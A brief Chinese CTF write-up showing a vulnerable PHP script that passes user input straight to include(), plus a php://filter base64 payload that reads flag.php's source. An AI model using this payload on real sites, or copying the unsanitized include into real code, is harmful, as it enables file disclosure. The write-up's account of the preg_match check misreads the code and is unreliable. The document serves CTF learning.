<?php //WEB手要懂得搜索 //flag in ./flag.phpif(isset($_GET['filter'])){$file = $_GET['filter'];if(!preg_match("/flag/i", $file)){die("error");}include($file); }else{highlight_file(__FILE__); }
可以知晓,该段代码使用preg_match函数过滤掉了flag,绕过preg_match函数可以使用php://filter,通过对要读的文件进行base64加密来完成绕过
playload:/?filter=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64加密的数据,放进bp进行解码,取得flag